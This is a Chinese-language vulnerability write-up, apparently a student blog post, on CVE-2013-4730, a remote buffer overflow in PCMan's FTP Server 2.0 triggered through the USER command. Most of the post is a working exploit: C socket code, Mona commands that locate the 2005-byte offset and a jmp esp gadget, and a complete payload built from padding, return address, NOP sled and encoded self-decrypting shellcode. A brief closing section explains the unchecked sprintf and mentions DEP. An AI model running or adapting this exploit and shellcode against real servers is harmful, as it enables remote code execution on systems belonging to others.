PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

PCManFTP v2.0(CVE-2013-4730)漏洞分析报告

 

 感谢李燕青的排版

 

软件名称:PCManFTP

 

软件版本:2.0

 

漏洞模块:PCManFTPD2.exe

 

模块版本:2.0.0.0

 

编译日期:2005-01-01

操作系统:Windows XP/2003/7/8.1/10

 

漏洞编号:CVE-2013-4730

 

危害等级:高危

 

漏洞类型:缓冲区溢出 or 信息泄露

 

威胁类型:远程 or 本地

 

 

 

 

分析人:

2018年12月16日

 

1.软件简介

PCMan's FTP Server是洪任谕程序员所研发的一套FTP服务器软件。该软件具有体积小、功能简单等特点。

2.漏洞成因

PCMan's FTP Server 2.0.0版本中存在缓冲区溢出漏洞。远程攻击者可借助USER命令中的长字符串利用该漏洞执行任意代码,也就是说我们在未提前获得目标FTP访问权限的前提下,即可对其进行溢出攻击,因此这个漏洞造成的影响非常严重。

 

3.利用过程

3.1溢出测试

      建立测试socket.发送请求,测试正常

 

       //初始化winsocket 服务

    WSADATA stWSA;

    WSAStartup(0x0203, &stWSA);

    //创建一个套接字

    SOCKET stListen = INVALID_SOCKET;

    stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    //在任意地址(INADDR_ANY) 上绑定一个端口21

    SOCKADDR_IN stService;

    stService.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    stService.sin_port = htons(21);

    stService.sin_family = AF_INET;

   

    connect(stListen, (sockaddr*)&stService, sizeof(stService));

    //接受欢迎语

    char szRecv[0x100] = { 0 };

    const char *pCommand = "USER anonymous";

    recv(stListen, szRecv, sizeof(szRecv), 0);

 

    //发送登陆请求

    send(stListen, pCommand, strlen(pCommand), 0);

    recv(stListen, szRecv, sizeof(szRecv), 0);

    printf(szRecv);

    //关闭相关句柄并释放相关资源

    closesocket(stListen);

WSACleanup();

 

 

3.2 构造Mona2字符串

 

 

 

 

3.3 触发后回显

 

通过以上信息我们知道EIP被覆盖成了0x6f43386f,我们可以使用如下的Mona2命令计算其溢出点(!py mona po 0x6f43386f)

 

 

由以上的结果可知,我们的溢出偏移在2005的位置

4. PoC

4.1 寻找滑板指令jmp esp

用mona2 找一个跳板  !py mona jmp -r esp -m "kernel32.dll"

 

 

4.2 构造Exploint

 

    //初始化winsocket 服务

    WSADATA stWSA;

    WSAStartup(0x0203, &stWSA);

    //创建一个套接字

    SOCKET stListen = INVALID_SOCKET;

    stListen = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

    //在任意地址(INADDR_ANY) 上绑定一个端口21

    SOCKADDR_IN stService;

    stService.sin_addr.S_un.S_addr = inet_addr("127.0.0.1");

    stService.sin_port = htons(21);

    stService.sin_family = AF_INET;

   

    connect(stListen, (sockaddr*)&stService, sizeof(stService));

    //接受欢迎语

    char szRecv[0x100] = { 0 };

 

    // 构造Exploit

    char cExpolit[5000] = { 0x00 };                        // Exploit容器

    char cFill[5000] = { 0x00 };                        //填充字节

    char cNOP[51] = { 0x00 };                                //滑板指令区 /

    char cRetnAddr[5] = "\xf7\xf7\x99\x76"; // JMP ESP 跳板 

 

    char bShellcode[] = \

         //

         "\x33\xC0\xE8\xFF\xFF\xFF\xFF\xC3\x58\x8D\x70\x1B\x33\xC9\x66\xB9\x4D\x01"\

         "\x8A\x04\x0E\x34\x1B"\

         "\x88\x04\x0E\xE2\xF6\x80\x34\x0E\x1B"\

         "\xFF\xE6\x5E"\

         "\x4E\x90\xF7\x98\xF7\x2B\x48\x28\xC0\xDC\x5E\xCB\x70\x7E\x69\x75" \

         "\x4D\x4C\xDC\x5E\xCF\x7E\x77\x28\x29\xDC\x5E\xC3\x35\x7F\x77\x77" \

         "\x93\x46\xC7\xDC\x5E\xFB\x6E\x68\x7E\x69\xDC\x5E\xFF\x28\x29\x35" \

         "\x7F\x7D\xDC\x5E\xF3\x77\x77\x93\x46\xF1\xDC\x5E\xF7\x73\x7E\x77" \

         "\x77\x7D\xDC\x5E\xEB\x74\x1B\xDC\x5E\xEF\x6C\x74\x69\x7F\x93\x46" \

         "\xE3\x92\x46\xE7\x4D\x7F\x90\x2E\x2B\x1B\x1B\x1B\x90\x6D\x17\x90" \

         "\x6D\x07\x90\x2D\x90\x6D\x13\x92\x6E\xE7\x45\x90\x4E\xE7\xA2\x9C" \

         "\x29\xC3\xDB\xF3\x45\x1B\x1B\x1B\x48\x90\xEB\x96\x5E\xCB\x48\x4B" \

         "\xE4\xCD\x48\x90\xE3\x96\x5E\xFB\x48\x4B\xE4\xCD\x48\x48\x96\x56" \

         "\xEF\x90\xCB\x4A\x96\x56\xF7\x4A\x48\xA2\x39\x62\xA3\x02\xF3\x28" \

         "\x1B\x1B\x1B\xE4\xCB\x48\x90\xCC\xA2\x78\x92\xCA\x54\xF3\x3F\x1B" \

         "\x1B\x1B\xE4\xCB\x44\x45\x40\x90\xFE\x46\xD8\x4D\x28\xED\xF0\x12" \

         "\xDA\xD5\x1C\x14\xA5\xDB\x18\xEB\x5A\x91\x1A\x9F\xDB\x6E\xEA\x20" \

         "\xCD\x45\x14\x8F\xDB\xD8\x4E\x90\xF7\x98\xF7\x0B\x48\x4D\x4C\x90" \

         "\xE1\x92\x56\xE7\x28\xED\x90\x5C\x27\x90\x5F\x23\x63\x18\xDC\x90" \

         "\x53\x07\x90\x4B\x3B\x18\xD4\x90\x43\x03\x18\xCC\x92\x56\xEB\x90" \

         "\x53\x3F\x18\xD4\x92\x4E\xE3\x92\x56\xEF\x9E\xC0\x6F\x3B\x90\x17" \

         "\xA9\x90\x4E\xE7\x18\xD4\xF3\xBB\xE4\xE4\xE4\x9F\xDB\x6E\x06\x96" \

         "\x58\xE4\x20\xEB\x6F\x09\x90\x4E\xE3\x5D\x20\xE8\x69\xFB\x90\x5E" \

         "\xEB\x44\x45\x40\x90\xFE\x46\xD8\x28\xDB\xF0\xEE\x90\x5E\xEF\x90" \

         "\x56\xEB\x14\xAC\x1F\x6B\x90\x1F\x9A\x18\xDC\xF0\xFF";

 

    memset(cFill, 'A', 2005); // 溢出点的偏移

    memset(cNOP, '\x90', 50); // 少填充 1 字节,使其有0x00结尾

    sprintf_s(cExpolit, "%s%s%s%s%s%s", "USER ", cFill, cRetnAddr, cNOP, bShellcode, "\r\n");

 

    //发送登陆请求

    send(stListen, cExpolit, strlen(cExpolit), 0);

    recv(stListen, szRecv, sizeof(szRecv), 0);

    printf(szRecv);

    //关闭相关句柄并释放相关资源

    closesocket(stListen);

    WSACleanup();

    system("pause");

测试成功图

 

 

5.结语

此漏洞是由于将客户端的命令使用sprintf时没有进行命令长度的检测,导致缓冲区溢出的发生,缓冲区溢出一般是没有进行边界检查,或使用了不安全的函数,避免这个情况或开启DEP保护可大大提高安全性。

6.参考资料

任老师课上的精彩讲述。

 

 

posted @ 2018-12-17 15:43  曲完丶人终散  阅读(505)  评论(0编辑  收藏  举报